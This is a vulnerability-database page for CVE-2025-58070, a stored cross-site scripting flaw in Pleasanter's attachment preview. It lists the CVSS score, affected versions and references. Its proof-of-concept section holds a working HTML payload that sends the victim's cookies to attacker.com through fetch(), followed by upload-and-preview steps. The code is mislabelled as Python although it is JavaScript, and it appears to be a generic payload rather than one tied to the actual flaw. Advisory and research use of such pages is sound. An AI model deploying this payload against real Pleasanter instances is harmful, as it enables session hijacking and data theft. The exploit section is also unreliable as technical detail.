CVE-2025-58070

Description

Pleasanter contains a stored cross-site scripting vulnerability in Preview for Attachments, which allows an attacker to execute an arbitrary script in a logged-in user's web browser.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Pleasanter < 1.3.67.0

Pleasanter < 1.2.51.0

Pleasanter < 1.1.30.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-58070 PoC - Stored XSS in Pleasanter Attachment Preview
// Attack Vector: Upload malicious HTML file as attachment

// Malicious HTML payload
const maliciousPayload = `
<!DOCTYPE html>
<html>
<head>
    <title>Document</title>
</head>
<body>
    <img src=x onerror="
        fetch('https://attacker.com/steal?cookie=' + document.cookie)
        .then(response => response.text())
        .then(data => console.log('Data stolen:', data))
    ">
    <script>console.log('XSS Payload Executed')</script>
</body>
</html>
`;

// Steps to exploit:
// 1. Create an HTML file with the malicious payload
// 2. Upload the file as an attachment to Pleasanter
// 3. When another user previews the attachment, the XSS executes
// 4. Attacker can steal cookies, session tokens, or perform actions as the victim

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58070
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58070
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58070/
[4] VulDB https://vuldb.com/cve/CVE-2025-58070
[5] https://jvn.jp/en/jp/JVN20611740/
[6] https://pleasanter.org/archives/vulnerability-update-20251024

Raw JSON Data

JSON

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